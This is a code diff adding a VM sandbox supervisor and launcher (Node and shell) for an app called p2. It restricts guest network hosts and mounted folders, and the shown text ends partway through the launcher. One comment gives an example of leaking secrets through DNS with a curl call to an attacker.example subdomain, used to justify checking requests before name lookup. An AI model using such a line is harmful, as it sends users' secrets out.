||||
"name": "p2-sandbox-host",
|
||||
"lockfileVersion": 3,
|
||||
"requires": true,
|
||||
"packages": {
|
||||
"": {
|
||||
"name": "p2-sandbox-host",
|
||||
"dependencies": {
|
||||
"@earendil-works/gondolin": "0.14.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@cto.af/wtf8": {
|
||||
"version": "1.0.0",
|
||||
"resolved": "https://registry.npmjs.org/@cto.af/wtf8/-/wtf8-1.0.0.tgz",
|
||||
"integrity": "sha512-qI0XnZxcj/FmASB8XXWqG49bSIzu0I/02deAjhnTni9IZ7KMRVlh8EFLE+mmJlMA169lET6rTCFhEsZSjOwlhA==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=22"
|
||||
}
|
||||
},
|
||||
"node_modules/@earendil-works/gondolin": {
|
||||
"version": "0.14.0",
|
||||
"resolved": "https://registry.npmjs.org/@earendil-works/gondolin/-/gondolin-0.14.0.tgz",
|
||||
"integrity": "sha512-MSw+EGcqFJeyKHdXEfm+nMRr74ytT4x8DGIohav0oPCHeVQAB9AajquM94cv2xqvIU3VDAaZZVC07IXsOY6OVQ==",
|
||||
"license": "Apache-2.0",
|
||||
"dependencies": {
|
||||
"cbor2": "^2.3.0",
|
||||
"ssh2": "^1.17.0",
|
||||
"undici": "^6.29.0"
|
||||
},
|
||||
"bin": {
|
||||
"gondolin": "dist/bin/gondolin.js"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=22.19.0"
|
||||
},
|
||||
"optionalDependencies": {
|
||||
"@earendil-works/gondolin-krun-runner-darwin-arm64": "0.14.0",
|
||||
"@earendil-works/gondolin-krun-runner-linux-x64": "0.14.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@earendil-works/gondolin-krun-runner-darwin-arm64": {
|
||||
"version": "0.14.0",
|
||||
"resolved": "https://registry.npmjs.org/@earendil-works/gondolin-krun-runner-darwin-arm64/-/gondolin-krun-runner-darwin-arm64-0.14.0.tgz",
|
||||
"integrity": "sha512-fvuhz1CZPaEbmXC0luZoXd1obAb0bjaaGJz33Jo63bhMlosYunAahItakh7cU0dnTlNFzufOSnpGOPqtuYjnpQ==",
|
||||
"cpu": ["arm64"],
|
||||
"license": "Apache-2.0",
|
||||
"optional": true,
|
||||
"os": ["darwin"],
|
||||
"bin": {
|
||||
"gondolin-krun-runner": "bin/gondolin-krun-runner"
|
||||
}
|
||||
},
|
||||
"node_modules/@earendil-works/gondolin-krun-runner-linux-x64": {
|
||||
"version": "0.14.0",
|
||||
"resolved": "https://registry.npmjs.org/@earendil-works/gondolin-krun-runner-linux-x64/-/gondolin-krun-runner-linux-x64-0.14.0.tgz",
|
||||
"integrity": "sha512-91iw4smoOH/yOoAuQS6N2UZOxqSFwRhtk8rTyrokXBoWiWcveAzg4kHvnLcm40ZlNrWwzIDFrere4bkZeGDQcA==",
|
||||
"cpu": ["x64"],
|
||||
"license": "Apache-2.0",
|
||||
"optional": true,
|
||||
"os": ["linux"],
|
||||
"bin": {
|
||||
"gondolin-krun-runner": "bin/gondolin-krun-runner"
|
||||
}
|
||||
},
|
||||
"node_modules/asn1": {
|
||||
"version": "0.2.6",
|
||||
"resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.6.tgz",
|
||||
"integrity": "sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"safer-buffer": "~2.1.0"
|
||||
}
|
||||
},
|
||||
"node_modules/bcrypt-pbkdf": {
|
||||
"version": "1.0.2",
|
||||
"resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz",
|
||||
"integrity": "sha512-qeFIXtP4MSoi6NLqO12WfqARWWuCKi2Rn/9hJLEmtB5yTNr9DqFWkJRCf2qShWzPeAMRnOgCrq0sg/KLv5ES9w==",
|
||||
"license": "BSD-3-Clause",
|
||||
"dependencies": {
|
||||
"tweetnacl": "^0.14.3"
|
||||
}
|
||||
},
|
||||
"node_modules/buildcheck": {
|
||||
"version": "0.0.7",
|
||||
"resolved": "https://registry.npmjs.org/buildcheck/-/buildcheck-0.0.7.tgz",
|
||||
"integrity": "sha512-lHblz4ahamxpTmnsk+MNTRWsjYKv965MwOrSJyeD588rR3Jcu7swE+0wN5F+PbL5cjgu/9ObkhfzEPuofEMwLA==",
|
||||
"optional": true,
|
||||
"engines": {
|
||||
"node": ">=10.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/cbor2": {
|
||||
"version": "2.4.1",
|
||||
"resolved": "https://registry.npmjs.org/cbor2/-/cbor2-2.4.1.tgz",
|
||||
"integrity": "sha512-h4OqPnSvIEUNCxTNb9pwMZPKjhNKO9bkPwQJOR7d5oBIrZR/CO098atrLl4AkQmB1p3opCvo2UFt4fhRSWC/vQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@cto.af/wtf8": "1.0.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=22"
|
||||
}
|
||||
},
|
||||
"node_modules/cpu-features": {
|
||||
"version": "0.0.10",
|
||||
"resolved": "https://registry.npmjs.org/cpu-features/-/cpu-features-0.0.10.tgz",
|
||||
"integrity": "sha512-9IkYqtX3YHPCzoVg1Py+o9057a3i0fp7S530UWokCSaFVTc7CwXPRiOjRjBQQ18ZCNafx78YfnG+HALxtVmOGA==",
|
||||
"hasInstallScript": true,
|
||||
"optional": true,
|
||||
"dependencies": {
|
||||
"buildcheck": "~0.0.6",
|
||||
"nan": "^2.19.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/nan": {
|
||||
"version": "2.30.0",
|
||||
"resolved": "https://registry.npmjs.org/nan/-/nan-2.30.0.tgz",
|
||||
"integrity": "sha512-P5mokDkSvCGBz6mZDD/2l+w9QoICRXdCyZ9ONGmTePr40oihJg3Kpn0YU3twKd6PJnwSlLBWNQeOT6yWEV2c4A==",
|
||||
"license": "MIT",
|
||||
"optional": true
|
||||
},
|
||||
"node_modules/safer-buffer": {
|
||||
"version": "2.1.2",
|
||||
"resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
|
||||
"integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/ssh2": {
|
||||
"version": "1.17.0",
|
||||
"resolved": "https://registry.npmjs.org/ssh2/-/ssh2-1.17.0.tgz",
|
||||
"integrity": "sha512-wPldCk3asibAjQ/kziWQQt1Wh3PgDFpC0XpwclzKcdT1vql6KeYxf5LIt4nlFkUeR8WuphYMKqUA56X4rjbfgQ==",
|
||||
"hasInstallScript": true,
|
||||
"dependencies": {
|
||||
"asn1": "^0.2.6",
|
||||
"bcrypt-pbkdf": "^1.0.2"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10.16.0"
|
||||
},
|
||||
"optionalDependencies": {
|
||||
"cpu-features": "~0.0.10",
|
||||
"nan": "^2.23.0"
|
||||
}
|
||||
},
|
||||
"node_modules/tweetnacl": {
|
||||
"version": "0.14.5",
|
||||
"resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz",
|
||||
"integrity": "sha512-KXXFFdAbFXY4geFIwoyNK+f5Z1b7swfXABfL7HXCmoIWMKU3dmS26672A4EeQtDzLKy7SXmfBu51JolvEKwtGA==",
|
||||
"license": "Unlicense"
|
||||
},
|
||||
"node_modules/undici": {
|
||||
"version": "6.29.1",
|
||||
"resolved": "https://registry.npmjs.org/undici/-/undici-6.29.1.tgz",
|
||||
"integrity": "sha512-EvRlUt/QqAEvXdQeRMYUfwOQsfzpDztykrG2owGEE/rBOBoYv9uF39ZzsNDh4lTFHhTr2XOZjKkYgueD12ZmGA==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=18.17"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
8
apps/p2/plugins/envs/sandbox/host-package.json
Normal file
8
apps/p2/plugins/envs/sandbox/host-package.json
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
{
|
||||
"name": "p2-sandbox-host",
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"dependencies": {
|
||||
"@earendil-works/gondolin": "0.14.0"
|
||||
}
|
||||
}
|
||||
416
apps/p2/plugins/envs/sandbox/p2-sandbox.mjs
Normal file
416
apps/p2/plugins/envs/sandbox/p2-sandbox.mjs
Normal file
|
|
@ -0,0 +1,416 @@
|
|||
// p2's sandbox program on a host environment: one long-lived Gondolin VM per sandbox, held by a supervisor process
|
||||
// (`serve`), and the commands p2 runs over SSH (`daemon`, `start`, `status`, `stop`). `daemon` starts the supervisor
|
||||
// when the sandbox is not running, then runs the pi-env daemon in the VM with stdin and stdout passed through, so p2
|
||||
// talks to the daemon in the VM as it does to one on any other machine. Started by p2-sandbox.sh, natively or in Docker.
|
||||
|
||||
import { spawn } from "node:child_process";
|
||||
import { createHash } from "node:crypto";
|
||||
import { closeSync, mkdirSync, openSync, readFileSync, rmSync, statSync, writeFileSync } from "node:fs";
|
||||
import { connect, createServer } from "node:net";
|
||||
import { homedir } from "node:os";
|
||||
import { basename, isAbsolute, join, resolve } from "node:path";
|
||||
import { fileURLToPath } from "node:url";
|
||||
import { createHttpHooks, ensureImageSelector, ReadonlyProvider, RealFSProvider, VM } from "@earendil-works/gondolin";
|
||||
|
||||
/** How long a client waits for a starting sandbox: the first start downloads the guest image (about 200 MB). */
|
||||
const START_TIMEOUT_MS = 600_000;
|
||||
/** Where the pi-env daemon is copied in the VM, and where Gondolin mounts the folders before binding them. */
|
||||
const GUEST_TOOLS = "/opt/pi-env";
|
||||
const GUEST_VFS = "/.p2-vfs";
|
||||
const GUEST_ENV = {
|
||||
HOME: "/root",
|
||||
PATH: "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
|
||||
LANG: "C.UTF-8",
|
||||
};
|
||||
/** Frames from the supervisor to a `daemon` client: type byte, 4-byte length, payload. */
|
||||
const STDOUT = 1;
|
||||
const STDERR = 2;
|
||||
const EXIT = 3;
|
||||
|
||||
const self = fileURLToPath(import.meta.url);
|
||||
/** The VM's name on this host: p2 passes `<installation>.<sandbox>`. */
|
||||
const NAME = /^[a-z0-9][a-z0-9_.-]{0,63}$/;
|
||||
|
||||
await main(process.argv.slice(2));
|
||||
|
||||
async function main(args) {
|
||||
const [command, name, ...rest] = args;
|
||||
if (!NAME.test(name ?? "")) fail(`Invalid sandbox name: ${name}`);
|
||||
switch (command) {
|
||||
case "daemon": {
|
||||
// daemon NAME CONFIG BINARY -- ARGS...: the daemon's own arguments follow `--`.
|
||||
const [config, binary, separator, ...daemonArgs] = rest;
|
||||
if (separator !== "--" || !isAbsolute(binary ?? "")) fail("Usage: daemon NAME CONFIG BINARY -- ARGS...");
|
||||
return runDaemon(name, parseConfig(config), binary, daemonArgs);
|
||||
}
|
||||
case "start": {
|
||||
await ensureRunning(name, parseConfig(rest[0]));
|
||||
return print(await request(name, { op: "status" }));
|
||||
}
|
||||
case "status":
|
||||
return print((await tryRequest(name, { op: "status" })) ?? { state: "stopped" });
|
||||
case "stop":
|
||||
return print((await tryRequest(name, { op: "stop" })) ?? { state: "stopped" });
|
||||
case "serve":
|
||||
return serve(name, parseConfig(rest[0]));
|
||||
default:
|
||||
fail(`Unknown command: ${command}`);
|
||||
}
|
||||
}
|
||||
|
||||
function fail(message) {
|
||||
process.stderr.write(`p2-sandbox: ${message}\n`);
|
||||
process.exit(2);
|
||||
}
|
||||
|
||||
function print(value) {
|
||||
process.stdout.write(`${JSON.stringify(value)}\n`);
|
||||
}
|
||||
|
||||
/** The sandbox configuration p2 passes as base64 JSON: image, folders, allowed hosts, resources. */
|
||||
function parseConfig(text) {
|
||||
let config;
|
||||
try {
|
||||
config = JSON.parse(Buffer.from(text ?? "", "base64").toString("utf8"));
|
||||
} catch {
|
||||
fail("Invalid sandbox configuration");
|
||||
}
|
||||
return {
|
||||
image: typeof config.image === "string" ? config.image : undefined,
|
||||
mounts: Array.isArray(config.mounts) ? config.mounts : [],
|
||||
// Always a list: Gondolin allows every host when it is omitted.
|
||||
allowHosts: Array.isArray(config.allowHosts) ? config.allowHosts.map(String) : [],
|
||||
cpus: Number.isInteger(config.cpus) ? config.cpus : undefined,
|
||||
memoryMb: Number.isInteger(config.memoryMb) ? config.memoryMb : undefined,
|
||||
revision: createHash("sha256").update(text).digest("hex").slice(0, 16),
|
||||
raw: text,
|
||||
};
|
||||
}
|
||||
|
||||
function runDir(name) {
|
||||
return join(homedir(), ".pi", "p2", "sandbox", "run", name);
|
||||
}
|
||||
|
||||
/**
|
||||
* `~` and `~/…` are the host user's home; other paths must be absolute. In Docker only the home is shared with the
|
||||
* container: a folder elsewhere would be one inside the container, so it is refused. A writable folder must not hold
|
||||
* or be inside ~/.pi: p2 runs this launcher and pi-env's daemons from there, on the host.
|
||||
*/
|
||||
function hostPath(path, readonly) {
|
||||
const home = homedir();
|
||||
const expanded = path === "~" ? home : path.startsWith("~/") ? join(home, path.slice(2)) : path;
|
||||
if (!isAbsolute(expanded)) throw new Error(`Folder must be absolute or start with ~: ${path}`);
|
||||
const resolved = resolve(expanded);
|
||||
const within = (parent, child) => child === parent || child.startsWith(parent === "/" ? "/" : `${parent}/`);
|
||||
if (process.env.P2_SANDBOX_RUNTIME === "docker" && !within(home, resolved))
|
||||
throw new Error(`Sandboxes run in Docker on this host, so their folders must be inside ${home}: ${path}`);
|
||||
const pi = join(home, ".pi");
|
||||
if (!readonly && (within(resolved, pi) || within(pi, resolved)))
|
||||
throw new Error(`A writable folder must not contain or be inside ${pi} (p2's launcher runs from there): ${path}`);
|
||||
return resolved;
|
||||
}
|
||||
|
||||
// --- Clients ---------------------------------------------------------------------------------------------------------
|
||||
|
||||
/** Connect to the supervisor's socket, or undefined when no supervisor listens. */
|
||||
function tryConnect(name) {
|
||||
return new Promise((resolve) => {
|
||||
const socket = connect(join(runDir(name), "sock"));
|
||||
socket.once("connect", () => resolve(socket));
|
||||
socket.once("error", () => resolve(undefined));
|
||||
});
|
||||
}
|
||||
|
||||
/** One JSON request and its JSON reply, or undefined when the sandbox is not running. */
|
||||
async function tryRequest(name, message) {
|
||||
const socket = await tryConnect(name);
|
||||
if (!socket) return undefined;
|
||||
socket.write(`${JSON.stringify(message)}\n`);
|
||||
let text = "";
|
||||
for await (const chunk of socket) text += chunk;
|
||||
return JSON.parse(text);
|
||||
}
|
||||
|
||||
async function request(name, message) {
|
||||
const reply = await tryRequest(name, message);
|
||||
if (reply === undefined) throw new Error(`Sandbox ${name} is not running`);
|
||||
return reply;
|
||||
}
|
||||
|
||||
/**
|
||||
* Start the supervisor unless one listens, and wait until it does. A lock directory naming its owner keeps two
|
||||
* clients from starting two supervisors; the one that waits sees the other's socket, and takes over a lock whose owner
|
||||
* died. A start that times out stops its supervisor, so none is left booting without a lock.
|
||||
*/
|
||||
async function ensureRunning(name, config) {
|
||||
const existing = await tryConnect(name);
|
||||
if (existing) return existing.destroy();
|
||||
const dir = runDir(name);
|
||||
mkdirSync(dir, { recursive: true, mode: 0o700 });
|
||||
const lock = join(dir, "start.lock");
|
||||
const deadline = Date.now() + START_TIMEOUT_MS;
|
||||
for (;;) {
|
||||
try {
|
||||
mkdirSync(lock);
|
||||
writeFileSync(join(lock, "owner"), String(process.pid));
|
||||
break;
|
||||
} catch {
|
||||
let owner = 0;
|
||||
try {
|
||||
owner = Number(readFileSync(join(lock, "owner"), "utf8"));
|
||||
} catch {
|
||||
// Not written yet, or the lock is gone already.
|
||||
}
|
||||
// An owner that has not written its pid yet gets a moment.
|
||||
const age = Date.now() - (statSync(lock, { throwIfNoEntry: false })?.mtimeMs ?? Date.now());
|
||||
if (owner ? !alive(owner) : age > 5000) rmSync(lock, { recursive: true, force: true });
|
||||
const socket = await tryConnect(name);
|
||||
if (socket) return socket.destroy();
|
||||
if (Date.now() > deadline) throw new Error(`Sandbox ${name} did not start in time`);
|
||||
await sleep(250);
|
||||
}
|
||||
}
|
||||
try {
|
||||
const again = await tryConnect(name);
|
||||
if (again) return again.destroy();
|
||||
const log = join(dir, "log");
|
||||
const out = openSync(log, "w", 0o600);
|
||||
const child = spawn(process.execPath, [self, "serve", name, config.raw], {
|
||||
detached: true,
|
||||
stdio: ["ignore", out, out],
|
||||
});
|
||||
closeSync(out);
|
||||
let exited = false;
|
||||
child.once("exit", () => {
|
||||
exited = true;
|
||||
});
|
||||
child.unref();
|
||||
process.stderr.write(`p2-sandbox: starting sandbox ${name}\n`);
|
||||
while (Date.now() < deadline) {
|
||||
const socket = await tryConnect(name);
|
||||
if (socket) return socket.destroy();
|
||||
if (exited) {
|
||||
const tail = readFileSync(log, "utf8").trim().split("\n").slice(-15).join("\n");
|
||||
throw new Error(`Sandbox ${name} failed to start:\n${tail}`);
|
||||
}
|
||||
await sleep(250);
|
||||
}
|
||||
child.kill("SIGTERM");
|
||||
throw new Error(`Sandbox ${name} did not start in time`);
|
||||
} finally {
|
||||
rmSync(lock, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
/** Run the pi-env daemon in the VM: stdin goes to it, its stdout and stderr come back, its exit code is ours. */
|
||||
async function runDaemon(name, config, binary, args) {
|
||||
try {
|
||||
await ensureRunning(name, config);
|
||||
} catch (error) {
|
||||
fail(error instanceof Error ? error.message : String(error));
|
||||
}
|
||||
const socket = await tryConnect(name);
|
||||
if (!socket) fail(`Sandbox ${name} stopped while connecting`);
|
||||
socket.write(`${JSON.stringify({ op: "exec", binary, args, revision: config.revision })}\n`);
|
||||
process.stdin.on("data", (chunk) => socket.write(chunk));
|
||||
process.stdin.on("end", () => socket.end());
|
||||
let buffer = Buffer.alloc(0);
|
||||
let code = 1;
|
||||
socket.on("data", (chunk) => {
|
||||
buffer = Buffer.concat([buffer, chunk]);
|
||||
while (buffer.length >= 5) {
|
||||
const length = buffer.readUInt32BE(1);
|
||||
if (buffer.length < 5 + length) break;
|
||||
const type = buffer[0];
|
||||
const payload = buffer.subarray(5, 5 + length);
|
||||
buffer = buffer.subarray(5 + length);
|
||||
if (type === STDOUT) process.stdout.write(payload);
|
||||
else if (type === STDERR) process.stderr.write(payload);
|
||||
else if (type === EXIT) code = JSON.parse(payload.toString("utf8")).code;
|
||||
}
|
||||
});
|
||||
socket.on("close", () => process.stdout.end(() => process.exit(code)));
|
||||
socket.on("error", () => {});
|
||||
}
|
||||
|
||||
// --- Supervisor ------------------------------------------------------------------------------------------------------
|
||||
|
||||
/** Boot the VM, then serve requests on the socket until stopped; the process ends with the VM. */
|
||||
async function serve(name, config) {
|
||||
const dir = runDir(name);
|
||||
const socketPath = join(dir, "sock");
|
||||
const mounts = {};
|
||||
for (const mount of config.mounts) {
|
||||
const host = hostPath(String(mount.host), mount.readonly === true);
|
||||
mkdirSync(host, { recursive: true });
|
||||
const real = new RealFSProvider(host);
|
||||
mounts[String(mount.guest)] = mount.readonly ? new ReadonlyProvider(real) : real;
|
||||
}
|
||||
if (config.image) await ensureImageSelector(config.image);
|
||||
const { httpHooks, env } = createHttpHooks({
|
||||
allowedHosts: config.allowHosts,
|
||||
// Gondolin checks `allowedHosts` only after resolving the name on the host, which would leak any name the guest
|
||||
// asks for to DNS (`curl http://<secret>.attacker.example`); the request policy runs before that lookup.
|
||||
isRequestAllowed: (request) => allowedHost(new URL(request.url).hostname, config.allowHosts),
|
||||
});
|
||||
const vm = await VM.create({
|
||||
httpHooks,
|
||||
env: { ...GUEST_ENV, ...env },
|
||||
// Gondolin's own mount point, out of the way of the folders (its default is /data).
|
||||
vfs: { mounts, fuseMount: GUEST_VFS },
|
||||
...(config.cpus === undefined ? {} : { cpus: config.cpus }),
|
||||
...(config.memoryMb === undefined ? {} : { memory: `${config.memoryMb}M` }),
|
||||
...(config.image === undefined ? {} : { sandbox: { imagePath: config.image } }),
|
||||
sessionLabel: `p2:${name}`,
|
||||
});
|
||||
await vm.exec("true");
|
||||
const startedAt = Date.now();
|
||||
/** The daemons copied into the VM, by guest path: one copy each, however many connections ask at once. */
|
||||
const installs = new Map();
|
||||
let server;
|
||||
let closing;
|
||||
/**
|
||||
* Stop: no new connections first (the socket goes, so the next client starts a new supervisor), then the VM. The
|
||||
* run directory stays: a new supervisor may already be starting in it.
|
||||
*/
|
||||
const close = () => {
|
||||
closing ??= (async () => {
|
||||
clearInterval(watch);
|
||||
server?.close();
|
||||
rmSync(socketPath, { force: true });
|
||||
await vm.close().catch(() => {});
|
||||
})();
|
||||
return closing;
|
||||
};
|
||||
const exit = () => void close().then(() => process.exit(0));
|
||||
// Gondolin does not close a VM whose QEMU died: without this the supervisor would answer as running forever.
|
||||
const watch = setInterval(() => {
|
||||
const pid = vm.getHostPid();
|
||||
if (pid !== null && alive(pid)) return;
|
||||
console.log(`sandbox ${name}: the VM exited`);
|
||||
exit();
|
||||
}, 2000);
|
||||
process.on("SIGTERM", exit);
|
||||
process.on("SIGINT", exit);
|
||||
const status = () => ({
|
||||
state: "running",
|
||||
startedAt,
|
||||
revision: config.revision,
|
||||
pid: process.pid,
|
||||
cpus: config.cpus ?? 2,
|
||||
memoryMb: config.memoryMb ?? 1024,
|
||||
});
|
||||
server = createServer((socket) => {
|
||||
socket.on("error", () => {});
|
||||
let header = Buffer.alloc(0);
|
||||
const onData = (chunk) => {
|
||||
header = Buffer.concat([header, chunk]);
|
||||
const end = header.indexOf(10);
|
||||
if (end < 0) return;
|
||||
socket.off("data", onData);
|
||||
// Input that arrives while the daemon is copied into the VM waits in the socket.
|
||||
socket.pause();
|
||||
const rest = header.subarray(end + 1);
|
||||
let message;
|
||||
try {
|
||||
message = JSON.parse(header.subarray(0, end).toString("utf8"));
|
||||
} catch {
|
||||
return socket.destroy();
|
||||
}
|
||||
if (message.op === "status") return socket.end(JSON.stringify(status()));
|
||||
// Answered once the VM is gone, so a start right after never finds this supervisor.
|
||||
if (message.op === "stop")
|
||||
return void close().then(() => socket.end(JSON.stringify({ state: "stopped" }), () => process.exit(0)));
|
||||
if (message.op === "exec") return void execute(vm, installs, message, socket, rest, config.revision);
|
||||
socket.destroy();
|
||||
};
|
||||
socket.on("data", onData);
|
||||
});
|
||||
rmSync(socketPath, { force: true });
|
||||
server.listen(socketPath, () => console.log(`sandbox ${name} running (pid ${process.pid})`));
|
||||
}
|
||||
|
||||
/** Gondolin's host pattern rules: case-insensitive, `*` alone matches any host, `*` inside a pattern any substring. */
|
||||
function allowedHost(hostname, patterns) {
|
||||
return patterns.some((raw) => {
|
||||
const pattern = raw.trim().toLowerCase();
|
||||
if (pattern === "*") return true;
|
||||
const escaped = pattern
|
||||
.split("*")
|
||||
.map((part) => part.replace(/[.+?^${}()|[\]\\]/g, "\\$&"))
|
||||
.join(".*");
|
||||
return pattern !== "" && new RegExp(`^${escaped}$`, "i").test(hostname);
|
||||
});
|
||||
}
|
||||
|
||||
function frame(type, payload) {
|
||||
const head = Buffer.alloc(5);
|
||||
head[0] = type;
|
||||
head.writeUInt32BE(payload.length, 1);
|
||||
return Buffer.concat([head, payload]);
|
||||
}
|
||||
|
||||
/** Copy the daemon into the VM once per content, then run it with the client's stdin and output. */
|
||||
async function execute(vm, installs, message, socket, firstInput, revision) {
|
||||
const send = (type, payload) => {
|
||||
if (!socket.destroyed) socket.write(frame(type, payload));
|
||||
};
|
||||
const abort = new AbortController();
|
||||
// The client went away (ssh closed), also while the daemon is still being copied: the daemon stops with it.
|
||||
socket.on("close", () => abort.abort());
|
||||
try {
|
||||
if (message.revision !== revision)
|
||||
send(STDERR, Buffer.from("p2-sandbox: the configuration changed; it applies when the sandbox restarts\n"));
|
||||
const guest = `${GUEST_TOOLS}/${basename(String(message.binary))}`;
|
||||
let install = installs.get(guest);
|
||||
if (!install) {
|
||||
install = (async () => {
|
||||
await vm.fs.mkdir(GUEST_TOOLS, { recursive: true });
|
||||
await vm.fs.writeFile(guest, readFileSync(String(message.binary)));
|
||||
// The array form runs the program itself: Gondolin does not search PATH for it.
|
||||
const chmod = await vm.exec(["/bin/chmod", "755", guest]);
|
||||
if (chmod.exitCode !== 0) throw new Error(`Could not make the daemon executable: ${chmod.stderr.trim()}`);
|
||||
})();
|
||||
installs.set(guest, install);
|
||||
// A failed copy is tried again by the next connection.
|
||||
install.catch(() => installs.delete(guest));
|
||||
}
|
||||
await install;
|
||||
if (abort.signal.aborted) return;
|
||||
const proc = vm.exec([guest, ...message.args.map(String)], {
|
||||
stdin: true,
|
||||
stdout: "pipe",
|
||||
stderr: "pipe",
|
||||
cwd: "/",
|
||||
signal: abort.signal,
|
||||
});
|
||||
if (firstInput.length) proc.write(firstInput);
|
||||
socket.on("data", (chunk) => proc.write(chunk));
|
||||
socket.on("end", () => proc.end());
|
||||
socket.resume();
|
||||
proc.stdout?.on("data", (chunk) => send(STDOUT, chunk));
|
||||
proc.stderr?.on("data", (chunk) => send(STDERR, chunk));
|
||||
const result = await proc.result;
|
||||
send(EXIT, Buffer.from(JSON.stringify({ code: result.exitCode })));
|
||||
} catch (error) {
|
||||
if (!abort.signal.aborted) {
|
||||
send(STDERR, Buffer.from(`p2-sandbox: ${error instanceof Error ? error.message : String(error)}\n`));
|
||||
send(EXIT, Buffer.from(JSON.stringify({ code: 1 })));
|
||||
}
|
||||
}
|
||||
socket.end();
|
||||
}
|
||||
|
||||
/** Whether process `pid` exists. */
|
||||
function alive(pid) {
|
||||
try {
|
||||
process.kill(pid, 0);
|
||||
return true;
|
||||
} catch (error) {
|
||||
return error.code === "EPERM";
|
||||
}
|
||||
}
|
||||
|
||||
function sleep(ms) {
|
||||
return new Promise((resolve) => setTimeout(resolve, ms));
|
||||
}
|
||||
115
apps/p2/plugins/envs/sandbox/p2-sandbox.sh
Executable file
115
apps/p2/plugins/envs/sandbox/p2-sandbox.sh
Executable file
|
|
@ -0,0 +1,115 @@
|
|||
#!/bin/sh
|
||||
# p2's sandbox launcher on a host environment. `check` reports whether and how Gondolin can run here (JSON). Every other
|
||||
# command picks the runtime (natively when Node >= 22, QEMU >= 7.2 and /dev/kvm are usable, else Docker), installs it
|
||||
# once, then runs p2-sandbox.mjs there with the same arguments. stdout belongs to that program (it carries pi-env's
|
||||
# protocol), so setup output goes to stderr. Each launcher version has its own directory (named by its content);
|
||||
# sandboxes keep running across versions.
|
||||
set -eu
|
||||
D=$(cd "$(dirname "$0")" && pwd)
|
||||
|
||||
qemu_bin() {
|
||||
case "$(uname -m)" in
|
||||
x86_64 | amd64) echo qemu-system-x86_64 ;;
|
||||
aarch64 | arm64) echo qemu-system-aarch64 ;;
|
||||
*) echo qemu-system-unsupported ;;
|
||||
esac
|
||||
}
|
||||
qemu_version() {
|
||||
command -v "$(qemu_bin)" >/dev/null 2>&1 || return 0
|
||||
"$(qemu_bin)" --version 2>/dev/null | head -n 1 | sed -n 's/.*version \([0-9][0-9]*\.[0-9][0-9]*\).*/\1/p'
|
||||
}
|
||||
qemu_ok() {
|
||||
v=$(qemu_version)
|
||||
[ -n "$v" ] || return 1
|
||||
major=${v%%.*}
|
||||
minor=${v#*.}
|
||||
[ "$major" -gt 7 ] || { [ "$major" -eq 7 ] && [ "$minor" -ge 2 ]; }
|
||||
}
|
||||
node_version() { command -v node >/dev/null 2>&1 && node -p 'process.versions.node' 2>/dev/null || true; }
|
||||
node_ok() {
|
||||
v=$(node_version)
|
||||
[ -n "$v" ] && [ "${v%%.*}" -ge 22 ]
|
||||
}
|
||||
kvm_ok() { [ -r /dev/kvm ] && [ -w /dev/kvm ]; }
|
||||
docker_ok() { [ -e /dev/kvm ] && command -v docker >/dev/null 2>&1 && docker info >/dev/null 2>&1; }
|
||||
|
||||
runtime() {
|
||||
if [ "$(uname -s)" != Linux ]; then
|
||||
echo none
|
||||
elif kvm_ok && qemu_ok && node_ok; then
|
||||
echo native
|
||||
elif docker_ok; then
|
||||
echo docker
|
||||
else
|
||||
echo none
|
||||
fi
|
||||
}
|
||||
|
||||
if [ "${1:-}" = check ]; then
|
||||
r=$(runtime)
|
||||
kvm=false
|
||||
kvm_ok && kvm=true
|
||||
docker=false
|
||||
docker_ok && docker=true
|
||||
printf '{"runtime":"%s","system":"%s","arch":"%s","kvm":%s,"kvmDevice":%s,"qemu":"%s","node":"%s","docker":%s}\n' \
|
||||
"$r" "$(uname -s)" "$(uname -m)" "$kvm" "$([ -e /dev/kvm ] && echo true || echo false)" \
|
||||
"$(qemu_version)" "$(node_version)" "$docker"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Setup runs under a lock: two sessions connecting at once must not install or create the container twice.
|
||||
lock() {
|
||||
if command -v flock >/dev/null 2>&1; then
|
||||
exec 9>"$D/.lock"
|
||||
flock 9
|
||||
fi
|
||||
}
|
||||
unlock() { exec 9>&-; }
|
||||
|
||||
# Gondolin and its dependencies, from package-lock.json into this version's directory, once.
|
||||
install_gondolin() {
|
||||
if [ ! -f "$D/.installed" ]; then
|
||||
lock
|
||||
if [ ! -f "$D/.installed" ]; then
|
||||
echo "p2-sandbox: installing Gondolin in $D" >&2
|
||||
"$@" sh -c 'cd "$1" && npm ci --ignore-scripts --no-audit --no-fund >&2' sh "$D"
|
||||
touch "$D/.installed"
|
||||
fi
|
||||
unlock
|
||||
fi
|
||||
}
|
||||
|
||||
case "$(runtime)" in
|
||||
native)
|
||||
install_gondolin
|
||||
exec node "$D/p2-sandbox.mjs" "$@"
|
||||
;;
|
||||
docker)
|
||||
